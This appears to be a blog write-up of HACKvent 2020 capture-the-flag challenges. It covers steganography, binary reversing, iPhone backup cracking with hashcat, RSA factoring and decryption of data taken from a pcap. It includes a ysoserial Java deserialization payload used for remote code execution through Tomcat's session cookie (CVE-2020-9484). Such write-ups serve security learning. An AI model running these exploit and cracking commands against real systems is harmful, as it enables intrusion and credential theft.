        string = string.replace(/\r\n/g, "\n");
        var utftext = "";
        for (var n = 0; n < string.length; n++) {
            var c = string.charCodeAt(n);
            if (c < 128) {
                utftext += String.fromCharCode(c);
            } else if ((c > 127) && (c < 2048)) {
                utftext += String.fromCharCode((c >> 6) | 192);
                utftext += String.fromCharCode((c & 63) | 128);
            } else {
                utftext += String.fromCharCode((c >> 12) | 224);
                utftext += String.fromCharCode(((c >> 6) & 63) | 128);
                utftext += String.fromCharCode((c & 63) | 128);
        return utftext;
    var blockstart;
    var i, j;
    var W = new Array(80);
    var H0 = 0x67452301;
    var H1 = 0xEFCDAB89;
    var H2 = 0x98BADCFE;
    var H3 = 0x10325476;
    var H4 = 0xC3D2E1F0;
    var A, B, C, D, E;
    var temp;
    msg = Utf8Encode(msg);
    var msg_len = msg.length;
    var word_array = new Array();
    for (i = 0; i < msg_len - 3; i += 4) {
        j = msg.charCodeAt(i) << 24 | msg.charCodeAt(i + 1) << 16 | msg.charCodeAt(i + 2) << 8 | msg.charCodeAt(i + 3);
    switch (msg_len % 4) {
        case 0:
            i = 0x080000000;
        case 1:
            i = msg.charCodeAt(msg_len - 1) << 24 | 0x0800000;
        case 2:
            i = msg.charCodeAt(msg_len - 2) << 24 | msg.charCodeAt(msg_len - 1) << 16 | 0x08000;
        case 3:
            i = msg.charCodeAt(msg_len - 3) << 24 | msg.charCodeAt(msg_len - 2) << 16 | msg.charCodeAt(msg_len - 1) << 8 | 0x80;
    while ((word_array.length % 16) != 14) word_array.push(0);
    word_array.push(msg_len >>> 29);
    word_array.push((msg_len << 3) & 0x0ffffffff);
    for (blockstart = 0; blockstart < word_array.length; blockstart += 16) {
        for (i = 0; i < 16; i++) W[i] = word_array[blockstart + i];
        for (i = 16; i <= 79; i++) W[i] = rotate_left(W[i - 3] ^ W[i - 8] ^ W[i - 14] ^ W[i - 16], 1);
        A = H0;
        B = H1;
        C = H2;
        D = H3;
        E = H4;
        for (i = 0; i <= 19; i++) {
            temp = (rotate_left(A, 5) + ((B & C) | (~B & D)) + E + W[i] + 0x5A827999) & 0x0ffffffff;
            E = D;
            D = C;
            C = rotate_left(B, 30);
            B = A;
            A = temp;
        for (i = 20; i <= 39; i++) {
            temp = (rotate_left(A, 5) + (B ^ C ^ D) + E + W[i] + 0x6ED9EBA1) & 0x0ffffffff;
            E = D;
            D = C;
            C = rotate_left(B, 30);
            B = A;
            A = temp;
        for (i = 40; i <= 59; i++) {
            temp = (rotate_left(A, 5) + ((B & C) | (B & D) | (C & D)) + E + W[i] + 0x8F1BBCDC) & 0x0ffffffff;
            E = D;
            D = C;
            C = rotate_left(B, 30);
            B = A;
            A = temp;
        for (i = 60; i <= 79; i++) {
            temp = (rotate_left(A, 5) + (B ^ C ^ D) + E + W[i] + 0xCA62C1D6) & 0x0ffffffff;
            E = D;
            D = C;
            C = rotate_left(B, 30);
            B = A;
            A = temp;
        H0 = (H0 + A) & 0x0ffffffff;
        H1 = (H1 + B) & 0x0ffffffff;
        H2 = (H2 + C) & 0x0ffffffff;
        H3 = (H3 + D) & 0x0ffffffff;
        H4 = (H4 + E) & 0x0ffffffff;
    var temp = cvt_hex(H0) + cvt_hex(H1) + cvt_hex(H2) + cvt_hex(H3) + cvt_hex(H4);
    return temp.toLowerCase();

function dID() {
    cvs = document.createElement("canvas");
    cvs.crossOrigin = px.crossOrigin = "Anonymous";
    px.parentNode.insertBefore(cvs, px);
    cvs.width = px.width;
    log.style.width = px.width + "px";
    cvs.height = px.height;
    log.style.height = "15em";
    log.style.visibility = "visible";
    var passwd = SHA1(window.location.search.substr(1).split('p=')[1]).toUpperCase();
    log.value = "TESTING: " + passwd + "\n";
    if (passwd == "60DB15C4E452C71C5670119E7889351242A83505") {
        log.value += "Success\nBit Layer=" + bL + "\nPixel grid=" + gr + "x" + gr + "\nEncoding Density=1 bit per " + (gr * gr) + " pixels\n";
        var f = ["Red", "Green", "Blue", "All"];
        log.value += "Encoding Channel=" + f[eC] + "\n";
        log.value += "Image Resolution=" + px.width + "x" + px.height + "\n";
        ctx = cvs.getContext("2d");
        ctx.drawImage(px, 0, 0);
        pix = ctx.getImageData(0, 0, cvs.width, cvs.height);
        pdt = pix.data;
        var j = [],
            k = 0,
            h = 0,
            b = 0;
        var d = function(m, t) {
            n = (t * cvs.width + m) * 4;
            var q = (pdt[n] & (1 << bL)) >> bL;
            var p = (pdt[n + 1] & (1 << bL)) >> bL;
            var a = (pdt[n + 2] & (1 << bL)) >> bL;
            var s;
            switch (eC) {
                case 0:
                    s = q;
                case 1:
                    s = p;
                case 2:
                    s = a;
                    var o = (q + p + a) / 3;
                    s = Math.round(o)
            if (s == 0) {
                pdt[n] = pdt[n + 1] = pdt[n + 2] = 0
            } else {
                pdt[n] = pdt[n + 1] = pdt[n + 2] = 255
            return (String.fromCharCode(s + 48))
        var l = function(a) {
            for (var o = 0, m = 0; m < a * 8; m++) {
                j[o++] = d(k, h);
                k += gr;
                if (k >= cvs.width) {
                    k = 0;
                    h += gr
        var e = parseInt(bTS(j.join("")));
        log.value += "Total pixels decoded=" + b + "\n";
        log.value += "Decoded data length=" + e + " bytes.\n";
        pix.data = pdt;
        ctx.putImageData(pix, 0, 0);
        var g = B64(bTS(j.join("")));
        var c = "11.py";
        log.value += "Packaging " + c + " for download\n";
        log.value += "Safari and IE users, save the Base64 data and decode it manually please,Chrome/edge users CORS, move to firefox.\n";
        log.value += 'BASE64 data="' + g + '"\n';
        download(c, g)
    } else {
        log.value += "failed.\n";

function bTS(c) {
    var b = "";
    for (i = 0; i < c.length; i += 8) {
        var a = c.substr(i, 8);
        b += String.fromCharCode(parseInt(a, 2))
    return (b)

function B64(h) {
    var g = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    var b = "";
    var a = "";
    while (h.length % 2 > 0) {
        h += "\x00"
    for (var d = 0; d < h.length; d++) {
        var c = h.charCodeAt(d);
        var e = c.toString(2);
        while (e.length < 8) {
            e = "0" + e
        a += e;
        while (a.length >= 6) {
            var f = a.slice(0, 6);
            a = a.slice(6);
            b += g.charAt(parseInt(f, 2))
    while (a.length < 6) {
        a += "0"
    b += g.charAt(parseInt(a, 2));
    return (b)

function download(a, c) {
    var b = document.createElement("a");
    b.setAttribute("href", "data:application/octet-stream;base64," + c);
    b.setAttribute("target", "_blank");
    b.setAttribute("download", a);
    b.style.display = "none";
window.onload = function() {
    px.onclick = dID

The code reads the parameter “p” when the image is clicked. Then it verifies if the SHA1 checksum of the password is equal to “60DB15C4E452C71C5670119E7889351242A83505”. Fortunately, we find this cracked SHA1 already on https://crackstation.net. The password is “bunnyrabbitsrule4real”. If we open the HTML file with Firefox and enter the right password, a new file is generated, and we can download it: 11.py.

Step 2:

import sys

i = bytearray(open(sys.argv[1], 'rb').read().split(sys.argv[2].encode('utf-8') + b"\n")[-1])
print("LENGTH: " + str(len(i)))
j = bytearray(b"Rabbits are small mammals in the family Leporidae of the order Lagomorpha (along with the hare and the pika). Oryctolagus cuniculus includes the European rabbit species and its descendants, the world's 305 breeds[1] of domestic rabbit. Sylvilagus includes 13 wild rabbit species, among them the seven types of cottontail. The European rabbit, which has been introduced on every continent except Antarctica, is familiar throughout the world as a wild prey animal and as a domesticated form of livestock and pet. With its widespread effect on ecologies and cultures, the rabbit (or bunny) is, in many areas of the world, a part of daily life-as food, clothing, a companion, and a source of artistic inspiration.")
print("LENGHT2: " + str(len(j)))
open('11.7z', 'wb').write(bytearray([i[_] ^ j[_%len(j)] for _ in range(len(i))]))

The Python Scripts reads a file, which we provide via arguments. This file is split by a codeword + “\n”. The last part of the split file is XORed with the string in the Bytearray in the script and generates a new 7z file.
The file-header of 7z starts with “37 7a bc af”, and the string in the Python starts with “52 61 62 62” (Rabbit). XORing is reversible! Therefore we XOR the two and get the result “65 1b de cd”. This is what we need to find. I checked the provided file with Hexedit if it contains this representation of bytes. And voila.

We find the values in the file, right after the string “breadbread”. This is our codeword. Now we can execute the Python script and get the right 7z archive. I extracted this and the tar file in it.

$ python3 11.py bfd96926-dd11-4e07-a05a-f6b807570b5a.png "breadbread"
$ sha1sum 11.7z 
0fe7b4e651912c6cc52b8b5c405afbbbd37d6b5f  11.7z

$ 7z x 11.7z 
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs Intel(R) Core(TM) i7-8665U CPU @ 1.90GHz (806EC),ASM,AES-NI)
Scanning the drive for archives:
1 file, 8486734 bytes (8288 KiB)
Extracting archive: 11.7z
Path = 11.7z
Type = 7z
Physical Size = 8486734
Headers Size = 122
Method = LZMA2:24m
Solid = -
Blocks = 1
Everything is Ok
Size:       17795584
Compressed: 8486734

$ ls
11.7z  11.tar
$ tar xvf 11.tar 

Step 3:

Browse through the files, and we find the JSON file with the history of the commands.

$ cat 1d66b052bd26bb9725d5c15a5915bed7300e690facb51465f2d0e62c7d644649.json 
{"architecture":"amd64","config":{"User":"bread","Env":["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"],"Cmd":["/bin/sh","-c","tail -f /dev/null"],"WorkingDir":"/home/bread/","ArgsEscaped":true,"OnBuild":null},"created":"2020-12-08T14:41:59.119577934+11:00","history":[{"created":"2020-10-22T02:19:24.33416307Z","created_by":"/bin/sh -c #(nop) ADD file:f17f65714f703db9012f00e5ec98d0b2541ff6147c2633f7ab9ba659d0c507f4 in / "},{"created":"2020-10-22T02:19:24.499382102Z","created_by":"/bin/sh -c #(nop)  CMD [\"/bin/sh\"]","empty_layer":true},{"created":"2020-12-08T14:41:33.015297112+11:00","created_by":"RUN /bin/sh -c apk update \u0026\u0026 apk add  --update-cache --repository http://dl-3.alpinelinux.org/alpine/edge/testing/ --allow-untrusted steghide xxd # buildkit","comment":"buildkit.dockerfile.v0"},{"created":"2020-12-08T14:41:33.4777984+11:00","created_by":"RUN /bin/sh -c adduser --disabled-password --gecos '' bread # buildkit","comment":"buildkit.dockerfile.v0"},{"created":"2020-12-08T14:41:33.487504964+11:00","created_by":"WORKDIR /home/bread/","comment":"buildkit.dockerfile.v0"},{"created":"2020-12-08T14:41:59.119577934+11:00","created_by":"RUN /bin/sh -c cp /tmp/t/bunnies12.jpg bunnies12.jpg \u0026\u0026 steghide embed -e loki97 ofb -z 9 -p \"bunnies12.jpg\\\\" -ef /tmp/t/hidden.png -p \\\\"SecretPassword\" -N -cf \"bunnies12.jpg\" -ef \"/tmp/t/hidden.png\" \u0026\u0026 mkdir /home/bread/flimflam \u0026\u0026 xxd -p bunnies12.jpg \u003e flimflam/snoot.hex \u0026\u0026 rm -rf bunnies12.jpg \u0026\u0026 split -l 400 /home/bread/flimflam/snoot.hex /home/bread/flimflam/flom \u0026\u0026 rm -rf /home/bread/flimflam/snoot.hex \u0026\u0026 chmod 0000 /home/bread/flimflam \u0026\u0026 apk del steghide xxd # buildkit","comment":"buildkit.dockerfile.v0"},{"created":"2020-12-08T14:41:59.119577934+11:00","created_by":"USER bread","comment":"buildkit.dockerfile.v0","empty_layer":true},{"created":"2020-12-08T14:41:59.119577934+11:00","created_by":"CMD [\"/bin/sh\" \"-c\" \"tail -f /dev/null\"]","comment":"buildkit.dockerfile.v0","empty_layer":true}],"os":"linux","rootfs":{"type":"layers","diff_ids":["sha256:ace0eda3e3be35a979cec764a3321b4c7d0b9e4bb3094d20d3ff6782961a8d54","sha256:f9a8379022de9f439ace90e2104d99b33559d08c2e21255914d27fdc0051e0af","sha256:1c50319140b222d353c0d165923ddc72c017da86dc8f56fa77826c53eba9c20d","sha256:5f70bf18a086007016e948b04aed3b82103a36bea41755b6cddfaf10ace3c6ef","sha256:56553910173dbbe9836893f8e0a081a58208ad47385b66fbefad69caa5e687e1"]}}

In this file, we can see a hidden.png file, and some manipulations were done to hide it. Everything we need to do is to reverse these commands and read the secret message.

home/bread/flimflam$ cat flom* > output.png
home/bread/flimflam$ xxd -p -r output.png > output2.png

The result of this is a bunny picture, which has a hidden message inside. The message was placed there with Steghide.

This is the ugly part of the challenge. I had some time to fully understand the Steghide command.

$ steghide embed -e loki97 ofb -z 9 -p \"bunnies12.jpg\\\\\\\" -ef /tmp/t/hidden.png -p \\\\\\\"SecretPassword\" -N -cf \"bunnies12.jpg\" -ef \"/tmp/t/hidden.png\"

// The entered command on the system was:
$ steghide embed -e loki97 ofb -z 9 -p "bunnies12.jpg\\\" -ef /tmp/t/hidden.png -p \\\"SecretPassword" -N -cf "bunnies12.jpg" -ef "/tmp/t/hidden.png"

This means the password is “bunnies12.jpg\\\” -ef /tmp/t/hidden.png -p \\\”SecretPassword”! The password itself looks like parameters of the Steghide command itself! Very, very nasty. :)

Now we can unhide the hidden.png

$ steghide extract -p "bunnies12.jpg\\\" -ef /tmp/t/hidden.png -p \\\"SecretPassword" -sf output2.png -xf secret.png

Flag: HV20{My_pr3c10u5_my_r363x!!!,7hr0w_17_1n70_7h3_X1.-_64l4dr13l}

HV20.21 Threatened Cat (Challenge by inik – Level hard)


You can feed this cat with many different things, but only a certain kind of file can endanger the cat.

Do you find that kind of files? And if yes, can you use it to disclose the flag? Ahhh, by the way: The cat likes to hide its stash in /usr/bin/catnip.txt.

Note: The cat is currently in hibernation and will take a few seconds to wake up.


First of all, screw you, Inik! I got a heart-attack and woke up my family running this challenge… :D For you guys who didn’t visit the challenge-website: Inik embedded a Java-Script, which would play an mp3 file of a cat meowing after a random time.

And if you really want to listen to it… meouw.mp3

I pretty much went straight towards the Java deserialization path in this challenge. A convenient tool for this is “ysoserial“. I created the first payload and immediately could trigger the cat to be threatened.

$ java -jar ysoserial.jar CommonsCollections1 "ls" > payload.txt

The cat told me that she is threatened. I played some more with payloads and “ysoserial” and found the right attack vector for this challenge. Again, the cat told me about it.

$ java -jar ysoserial.jar CommonsCollections2 "ls" > payload.txt

I tried many different commands but was not able to get any responses. The payload might be correct, but it doesn’t get triggered yet. After some more Google-Research, I came across this page: https://www.redtimmy.com/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit/.
A very recent vulnerability that allows us to trigger deserialization exploit over the JSession-Cookie. We need to give our payload a name with “.session”. And then change the JSession-Cookie of our session in the browser accordingly to execute it.

Putting it all together:

$ java -jar ysoserial.jar CommonsCollections2 "cp /usr/bin/catnip.txt /usr/local/uploads/flag.txt" > payload.session

Change the session cookie:

And reload the page.

Remove the cookie and reload the main page. There is the flag.

Flag: HV20{!D3s3ri4liz4t10n_rulz!}

HV20.22 Padawanlock (Challenge by inik – Level hard)


A new apprentice Elf heard about “Configuration as Code”. When he had to solve the problem to protected a secret he came up with this “very sophisticated padlock”.



Reverse-engineering, yay! :D Another challenge by Inik, this guy really provided a lot of challenges for HACKvent 20.

If we execute the binary file, we must provide a PIN, and then some Star-Wars quotes are shown. If we enter the right PIN, the flag will be shown – this is my assumption, at least.

$ ./padawanlock 
 PIN (6 digits): 313373

I did use Ghidra to understand the logic of the binary file. We can see that our PIN code is interpreted and transformed into a number with the function atoi(). The resulting number is multiplied with 0x14, and 0x124b is added to it. The result is an address that will be executed

The smallest possible number which atoi() might return is 0, with the PIN code “000000”. This means the first function will be at the address 0x124b.

                             LAB_0001124b                                    XREF[1]:     FUN_000111e0:00011215(*)  
        0001124b b9 7c 2a        MOV        ECX,0x1502a7c
                 50 01
                             LAB_00011250                                    XREF[1]:     00011254(j)  
        00011250 49              DEC        ECX
        00011251 83 f9 00        CMP        ECX,0x0
        00011254 75 fa           JNZ        LAB_00011250
        00011256 c6 03 7b        MOV        byte ptr [EBX],0x7b
        00011259 43              INC        EBX
        0001125a e9 14 de        JMP        LAB_00aef073
                 ad 00

The functions all look the same. First, a value is added to ECX, which then will be decreased in a loop until it reaches 0. This seems to be a sleep function, maybe to prevent us from brute-forcing the PIN code… After this, we have a character moved to EBX, in the first case 0x7b, which corresponds to the character “{“. And finally, we jump to a new relative address, which has the same execution cycle again.

This means the right PIN code jumps to the right starting position of the Flag. And from there on, the function calls go through the binary until the Flag is completed.

I wrote a Python script that starts reading the binary file at 0x124b gets the address of the position, the character, and the address of the next character. I then go through all the characters and check if there is a “H”. If there is, I go further down the path and check if there is a “V”. And so on, until the right Flag is found.

from struct import unpack

file = "padawanlock"
res = {}

with open(file, "rb") as f:
	print("[+] Assemble data ...")

	# Initial routine of character checks starts at 0x124b
	while f != b"":
		# Store positioning of the character
		pos = f.tell()

		# the characters are located at the offset0XD
		c = f.read(1).decode("utf-8")

		# Just for checking - this is the jmp opcode - needs to be 0xe9
		jmp = f.read(1)
		if jmp != b'\xe9':

		# Position of the next character - 4 byte address, little endian
		next_pos = f.read(4)
		next_pos = unpack("<i", next_pos)[0]
		# Address is relative, so add our current address to it
		next_pos += f.tell()

		# Add data as a tuple to the dictionary
		res[pos] = (c, hex(next_pos))

		'''print("position: " + hex(pos))
		print("char: " + str(c))
		print("jmp: " + str(jmp))
		print("next-pos: " + hex(next_pos))

print("[+] Found " + str(len(res)) + " character routines")
print("[+] Start looking for Flag ... ")
addr = 0
for x in res:
	if res[x][0] == 'H':
		if res[int(res[x][1],0)][0] == 'V':
			print("[+] Found routine starting with 'HV' - looks promising, continue this path!")
			addr = x

flag = ""
while True:
	flag += res[addr][0]
	if res[addr][0] == '}':
		print("[+] Flag complete")

	addr = int(res[addr][1],0)
print("--> " + flag)
$ python3 asm_interpreter.py 
[+] Assemble data …
[+] Found 1000000 character routines
[+] Start looking for Flag … 
[+] Found routine starting with 'HV' - looks promising, continue this path!
[+] Flag complete
--> HV20{C0NF1GUR4T10N_AS_C0D3_N0T_D0N3_R1GHT}

Flag: HV20{C0NF1GUR4T10N_AS_C0D3_N0T_D0N3_R1GHT}

HV20.23 Those who make backups are cowards! (Challenge by hardlock – Level hard)


Santa tried to get an important file back from his old mobile phone backup. Thankfully he left a post-it note on his phone with the PIN. Sadly Rudolph thought the Apple was real and started eating it (there we go again…). Now only the first of eight digits, a 2, is still visible…

But maybe you can do something to help him get his important stuff back?



  • If you get stuck, call Shamir


This is one of the challenges, where you lose a lot of time with the right tooling. At least I did… I am working on my Linux box to solve this challenge and it was not easy to find a tool to decrypt the iPhone backup or browse through the backup..

Older iPhone backups can be cracked with Hashcat. To do so, we need to extract the hash from the Manifest.plist. A tutorial on how to do this is available here: https://github.com/philsmd/itunes_backup2hashcat.

$ perl itunes_backup2hashcat.pl 5e8dfbc7f9f29a7645d66ef70b6f2d3f5dad8583/Manifest.plist > hashcat.txt

$ cat hashcat.txt 

$ hashcat -a 3 -m 14700 hashcat.txt 2?d?d?d?d?d?d?d --show

The cracked PIN code is 20201225 – XMAS!

Now the annoying part of the challenge starts. I had to find a way to decrypt and extract the backup on my Linux machine. After a lot of searching, I encountered this tool: https://github.com/dinosec/iphone-dataprotection. Unfortunately, the code-base is quite old, and the project doesn’t seem to be actively maintained. I had to adjust the code to make it run.

$ git diff
diff --git a/python_scripts/crypto/aeswrap.py b/python_scripts/crypto/aeswrap.py
index 75dbb84..4ef2ca6 100644
--- a/python_scripts/crypto/aeswrap.py
+++ b/python_scripts/crypto/aeswrap.py
@@ -26,7 +26,7 @@ def AESUnwrap(kek, wrapped):
         for i in reversed(xrange(1,n+1)):
             todec = pack64bit(A ^ (n*j+i))
             todec += pack64bit(R[i])
B = AES.new(kek).decrypt(todec)
B = AES.new(kek, AES.MODE_ECB).decrypt(todec)^M
         A = unpack64bit(B[:8])
         R[i] = unpack64bit(B[8:]) 

Now it is possible to decrypt the backup files:

$ python2 backup_tool.py 5e8dfbc7f9f29a7645d66ef70b6f2d3f5dad8583/
Device Name : Santas Phone
Display Name : Santas Phone
Last Backup Date : 2020-12-16 20:47:32
IMEI : 013172009188964
Serial Number : DQGJ22F8DTD2
Product Type : iPhone4,1
Product Version : 9.3.6
iTunes Version :
Extract backup to 5e8dfbc7f9f29a7645d66ef70b6f2d3f5dad8583_extract ? (y/n)
Backup is encrypted
Enter backup password : 

Browsing through the files in the *_extract directory led to me being “rick-rolled”.. :) But then I found the right path, in the address-book.

$ sqlite3 HomeDomain/Library/AddressBook/AddressBook.sqlitedb
SQLite version 3.28.0 2019-04-16 19:49:53
Enter ".help" for usage hints.
sqlite> .tables
ABAccount                        ABPersonFullTextSearch_segdir  
ABGroup                          ABPersonFullTextSearch_segments
ABGroupChanges                   ABPersonFullTextSearch_stat    
ABGroupMembers                   ABPersonLink                   
ABMultiValue                     ABPersonMultiValueDeletes      
ABMultiValueEntry                ABPersonSearchKey              
ABMultiValueEntryKey             ABPhoneLastFour                
ABMultiValueLabel                ABRecent                       
ABPerson                         ABStore                        
ABPersonBasicChanges             FirstSortSectionCount          
ABPersonChanges                  FirstSortSectionCountTotal     
ABPersonFullTextSearch           LastSortSectionCount           
ABPersonFullTextSearch_content   LastSortSectionCountTotal      
ABPersonFullTextSearch_docsize   _SqliteDatabaseProperties      
sqlite> select * From ABPerson;

The address-book contains two contacts, “M” and “N”.

M = 6344440980251505214334711510534398387022222632429506422215055328147354699502
N = 77534090655128210476812812639070684519317429042401383232913500313570136429769

Because of the challenge’s hint, I went down the path of Shamir’s Secret Sharing algorithm. This didn’t lead to anything. Going one step back, I found out that Adi Shamir is one of the co-inventors of RSA. Now, everything is clear. We had to calculate RSA many times at previous HACKvents. :) I solved this last step of the challenge in two different ways.

1. My own Python implementation.

import gmpy2

m = 6344440980251505214334711510534398387022222632429506422215055328147354699502
n = 77534090655128210476812812639070684519317429042401383232913500313570136429769

# http://factordb.com/index.php?id=1100000000808459910
p = 250036537280588548265467573745565999443
q = 310091043086715822123974886007224132083
e = 65537

m^d % n
x^e % n = m

def decrypt(d, n, message):
    res = pow(message, d, n)
    return bytes.fromhex('{0:02x}'.format(res)).decode('utf-8')

phi = (p-1) * (q-1)
d = gmpy2.invert(e, phi)
plain = decrypt(d, n, m)

$ python3 decrypt_rsa.py 

2. Using RsaCtfTools

$ python3 RsaCtfTool.py -n 77534090655128210476812812639070684519317429042401383232913500313570136429769 -e 65537 --attack factordb --uncipher 6344440980251505214334711510534398387022222632429506422215055328147354699502
private argument is not set, the private key will not be displayed, even if recovered.
[] Testing key /tmp/tmp0ciu90av. [] Performing factordb attack on /tmp/tmp0ciu90av.
Results for /tmp/tmp0ciu90av:
Unciphered data :
HEX : 0x0000000000485632307b73307272795f6e305f67616d335f746f5f706c61797d
INT (big endian) : 29757593747455483525592829184976151422656862335100602522242480509
INT (little endian) : 56753566960650598288217394598913266125073984765818621753275514254169309446144
STR : b'\x00\x00\x00\x00\x00HV20{s0rry_n0_gam3_to_play}'

Flag: HV20{s0rry_n0_gam3_to_play}

HV20.H3 Hidden in Plain Sight (Challenge by I don’t know? – Level medium)


We hide additional flags in some of the challenges! This is the place to submit them. There is no time limit for secret flags.

Note: This is not a OSINT challenge. The icon has been chosen purely to consufe you.


Fortunately, I already stumbled over this hidden Flag while solving day 23. Apparently, the Flag was left there by mistake and the organizers decided to make a hidden out of it.

If we get all strings for the Addressbook-Sqlite-File and grep for “hv”, we find a Base64 encoded string. Which leads to an additional Flag.

HomeDomain/Library/AddressBook$ strings AddressBook.sqlitedb | grep -i hv

$ echo "SFYyMHtpVHVuM3NfYmFja3VwX2YwcmVuc2l4X0ZUV30=" | base64 -d

Flag: HV20{iTun3s_backup_f0rensix_FTW}

HV20.24 Santa’s Secure Data Storage (Challenge by scryh – Level leet)


In order to prevent the leakage of any flags, Santa decided to instruct his elves to implement a secure data storage, which encrypts all entered data before storing it to disk.

According to the paradigm Always implement your own crypto the elves designed a custom hash function for storing user passwords as well as a custom stream cipher, which is used to encrypt the stored data.

Santa is very pleased with the work of the elves and stores a flag in the application. For his password he usually uses the secure password generator shuf -n1 rockyou.txt.

Giving each other a pat on the back for the good work the elves lean back in their chairs relaxedly, when suddenly the intrusion detection system raises an alert: the application seems to be exploited remotely!


Santa and the elves need your help!

The intrusion detection system captured the network traffic of the whole attack.

How did the attacker got in? Was (s)he able to steal the flag?



  • This challenge will give full points for 72h (until 2020-12-26T23:59:59+01:00) so you don’t have to explain to your siblings that HACKvent is more important than certain other things


Last challenge! I was so looking forward to getting my sleep back! :) But first, this though challenge needed to be solved.

First, I started looking at the pcap file with Wireshark. Two interesting data-parts are in there. The attack payload:

And the data which is returned from the server to the attacker:

As a next step, I looked a bit more detailed into the binary itself. I did this with Ghidra, and for verification, I used Hopper. In the binary, I’ve found these important functions.





To solve this challenge, I ported the Assembly code to Python. I implemented all needed functions to be able to generate password hashes, encrypt and decrypt data from my Python script. Then I tried to decrypt data generated from the server binary, just to be sure.

The challenge’s description mentions the wordlist “rockyou”; this is a very famous password wordlist. I extended my Python script to iterate through the passwords and decrypt the data. Now I was ready to decrypt the data sent from the server to the attacker.

Unfortunately, this was not true. I could not decrypt any data… I missed one step. I didn’t analyze the exploit payload. What was done with the data before sending it to the attacker?

We have 5 syscalls() in the payload, used to read the data and send it to the attacker.
0x02 –> open()
0x00 –> read()
0x29 –> socket()
0x2c –> sendto()
0x3c –> exit()

Interesting is the part where the loop happens (lines 49-52). The data is XORed with 0xdeadbeef in blocks of 4 bytes before the data is sent. The architecture is x86. Therefore we need to interpret 0xdeadbeef with little endianness. Now finally, I got all the information to decrypt the data.

Here is my final Python script to decrypt the data and read the Flag:

import struct

def encrypt(data, pwhash):
  counter = 0
  result = []

  for c in data:
    ks_char = keystream_get_char(counter, pwhash)
    result.append(ks_char ^ ord(c))
    counter += 1

  ks_char = keystream_get_char(counter, pwhash)
  result.append(ks_char ^ ord("\0"))

  return result

def decrypt(data, pwhash):
  counter = 0
  result = ""

  for d in data:
    ks_char = keystream_get_char(counter, pwhash)
    if type(d) != int:
      result += chr(ks_char ^ ord(d))
      result += chr(ks_char ^ d)
    if d == 0x00:
    counter += 1

  return result

def keystream_get_char(counter, pwhash):
  c_arr = [0xde, 0xad, 0xbe, 0xef, 0xc0, 0x12, 0x34, 0x56, 0x78, 0x9a]
  c = counter ^ pwhash[counter % 16] ^ c_arr[pwhash[counter % 16] % 0XA]
  return c

def check_pwd(pwhash, pwclear):
  if len(pwhash) == 0x10:
    h = calc_hash(pwclear, len(pwclear))
    if h == pwhash:
      return True
  return False

def calc_hash(pwclear, pwlength):
  local_58 = 0x68736168;
  local_50 = 0xffffffffdeadbeef;
  local_48 = 0x65726f6d;
  local_40 = 0xffffffffc00ffeee;
  local_10 = 0x68736168;
  local_18 = 0xffffffffdeadbeef;
  local_20 = 0x65726f6d;
  local_28 = 0xffffffffc00ffeee;

  counter = 0
  while counter < pwlength:
    c = ord(pwclear[counter])
    local_50 = local_10 ^ (c * counter & 0xff ^ c |(c * (counter + 0x31) & 0xff ^ c) << 0x18 |(c * (counter + 0x42) & 0xff ^ c) << 0x10 |(c * (counter + 0xef) & 0xff ^ c) << 8)
    local_48 = local_18 ^ (c * counter & 0x5a ^ c |(c * (counter + 0xc0) & 0xff ^ c) << 0x18 |(c * (counter + 0x11) & 0xff ^ c) << 0x10 |(c * (counter + 0xde) & 0xff ^ c) << 8)
    local_40 = local_20 ^ (c * counter & 0x22 ^ c |(c * (counter + 0xe3) & 0xff ^ c) << 0x18 |(c * (counter + 0xde) & 0xff ^ c) << 0x10 |(c * (counter + 0xd) & 0xff ^ c) << 8)
    local_58 = local_28 ^ (c * counter & 0xef ^ c |(c * (counter + 0x52) & 0xff ^ c) << 0x18 |(c * (counter + 0x24) & 0xff ^ c) << 0x10 |(c * (counter + 0x33) & 0xff ^ c) << 8);
    local_28 = local_58;
    local_20 = local_40;
    local_18 = local_48;
    local_10 = local_50;
    counter += 1

  result = local_58.to_bytes(8, byteorder="little")[:4] + local_50.to_bytes(8, byteorder="little")[:4] + local_48.to_bytes(8, byteorder="little")[:4] + local_40.to_bytes(8, byteorder="little")[:4]
  return result

# Encrypted binary stream from PCAP File
encrypted_flag = [0xe5,0xaf,0xe5,0x9d,0x31,0xac,0xa3,0xca,0x21,0x1e,0xc3,0x79,0xa6,0x73,0x23,0x5e,0xda,0xb6,0xa0,0x8d,0x2e,0xd3,0xb7,0xb6,0x6b,0x55,0x85,0x7e,0xc8,0x34,0x22,0x7a]

# The payload in the exploit does XOR the data with 0xdeadbeef
deadbeef = [0xef, 0xbe, 0xad, 0xde]
counter = 0
encrypted_flag_str = ""
while counter < len(encrypted_flag):
  encrypted_flag_str += "{:02x}".format(encrypted_flag[counter] ^ deadbeef[counter%4])
  encrypted_flag[counter] = encrypted_flag[counter] ^ deadbeef[counter%4]
  counter += 1
print("[+] Encrypted data from server, after XORing:\n" + encrypted_flag_str)

# Brute-force passwords from rockyou wordlist to decrypt the data
print("Bruteforcing 'Rockyou' wordlist...")
wordlist = open("rockyou.txt", encoding="utf-8", mode="r", errors="ignore")
counter = 0
for x in wordlist:
  x = x.rstrip('\n')
  h = calc_hash(x, len(x))
  d = decrypt(encrypted_flag, h)
  bstring = "0x" + "".join("{:02x}".format(c) for c in bytes(d, "utf-8"))

  # If the decrypted data starts with "HV20{" (0x485632307b), then we have a match
  if bstring.startswith("0x485632307b"):
    print("[+] Flag decrypted with password '" +x+ "'!!!")
    print("Checked passwords: " + str(counter))
    print("--> Flag: " + d)

  counter += 1
$ python3 sol.py 
[+] Encrypted data from server, after XORing:
Bruteforcing 'Rockyou' wordlist…
[+] Flag decrypted with password 'xmasrocks'!!!
Checked passwords: 455212
--> Flag: HV20{0h_n0es_fl4g_g0t_l34k3d!1}

Flag: HV20{0h_n0es_fl4g_g0t_l34k3d!1}

Leave a Reply

Your email address will not be published. Required fields are marked *